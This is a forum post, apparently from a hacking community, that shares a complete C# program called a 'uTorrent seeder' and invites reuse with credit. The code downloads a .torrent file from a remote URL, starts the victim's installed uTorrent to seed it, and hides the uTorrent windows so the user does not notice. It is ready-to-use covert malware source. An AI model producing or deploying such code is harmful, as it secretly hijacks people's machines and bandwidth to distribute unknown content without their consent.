• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

C# [C#] uTorrent seeder

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Code:
>// uTorrent seeder by t0fx //
// Give credits if you use it //

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;

namespace ConsoleApplication1
{
   class Program
   {
       [DllImport("user32.dll")]
       private static extern int ShowWindow(int hwnd, int nCmdShow);
       private const int SW_HIDE = 0;
       


       public static string UTorrentPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) +
                                           "\\uTorrent\\uTorrent.exe";
       public static string LocalPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\uTorrent\\";

       static void Main(string[] args)
       {
           if (Check())
           {
               SeedIt("http://www.google.com/torrent.torrent", LocalPath + "torrent.torrent");
               while (true)
               {
                   HideIt();
                   break;
               }

           }
               
       }

       static bool Check()
       {
           if (File.Exists(UTorrentPath))
               return true;
           return false;
       }

       static void SeedIt(string torrentUrl, string utorrentSavePath)
       {
           WebClient torrentDownloader = new WebClient();
           torrentDownloader.DownloadFile(torrentUrl, utorrentSavePath);
           ProcessStartInfo seed = new ProcessStartInfo();
           seed.FileName = UTorrentPath;
           seed.Arguments = "/DIRECTORY " + LocalPath + " " + utorrentSavePath;
           Process.Start(seed);
           Thread.Sleep(1000);

       }


       static void HideIt()
       {
           int hWnd;
           foreach (Process p in Process.GetProcesses())
               if (p.ProcessName.Contains("uTorrent"))
                   try
                   {
                       hWnd = p.MainWindowHandle.ToInt32();
                       ShowWindow(hWnd, SW_HIDE);
                   }
                   catch
                   {
                   }

       }

   }
}
 
Status
Not open for further replies.
Back
Top